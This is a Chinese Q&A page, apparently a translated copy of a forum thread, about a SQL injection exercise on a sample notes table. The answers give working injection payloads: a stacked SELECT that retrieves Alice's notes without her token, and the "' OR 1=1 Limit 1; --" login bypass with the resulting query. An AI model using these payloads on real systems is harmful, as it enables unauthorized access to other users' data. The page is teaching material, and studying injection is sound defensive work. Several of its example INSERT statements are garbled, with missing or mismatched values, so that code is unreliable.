如何解决如何实现SQL注入
假设您具有以下SQL查询来创建一个称为notes的表并将数据存储在其中:
CREATE TABLE notes (
id INTEGER PRIMARY KEY,username TEXT,token TEXT,text TEXT
);
INSERT INTO notes (username,token,text) VALUES ('alice','token-a','Reminder: buy milk');
INSERT INTO notes (username,'I like Bob');
INSERT INTO notes (username,text) VALUES ('bob','token-b','TODO: write tests');
现在尝试SQL注入以获取所有爱丽丝的笔记而又不知道她的令牌,获取数据的查询的位置为:
'''SELECT text
FROM notes
WHERE token = '%s'
''' % token
变量令牌中发送的文本应该是什么,以便执行SQL注入并获取所有爱丽丝的注释。
解决方法
尝试这样的事情-
';SELECT text
FROM notes
WHERE username = 'alice
,
SQL注入可以通过将SQL语句与输入参数串联来实现。例如,以下语句容易受到SQL注入的攻击:
String statement = "SELECT ID FROM USERS WHERE USERNAME = '" + inputUsername + "' AND PASSWORD = '" + hashedPassword + "'";
攻击者将输入如下用户名:
' OR 1=1 Limit 1; --
因此,执行的语句将是:
SELECT ID FROM USERS WHERE USERNAME = '' OR 1=1 Limit 1; --' AND PASSWORD = 'Blob'
因此,密码部分被注释,数据库引擎将返回应用程序可接受的任何任意结果。
我在“软件开发人员网络安全入门”课程的免费预览中找到了一个很好的解释。
https://www.udemy.com/course/cybersecurity-for-developers-1/
它还说明了如何防止SQL注入。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。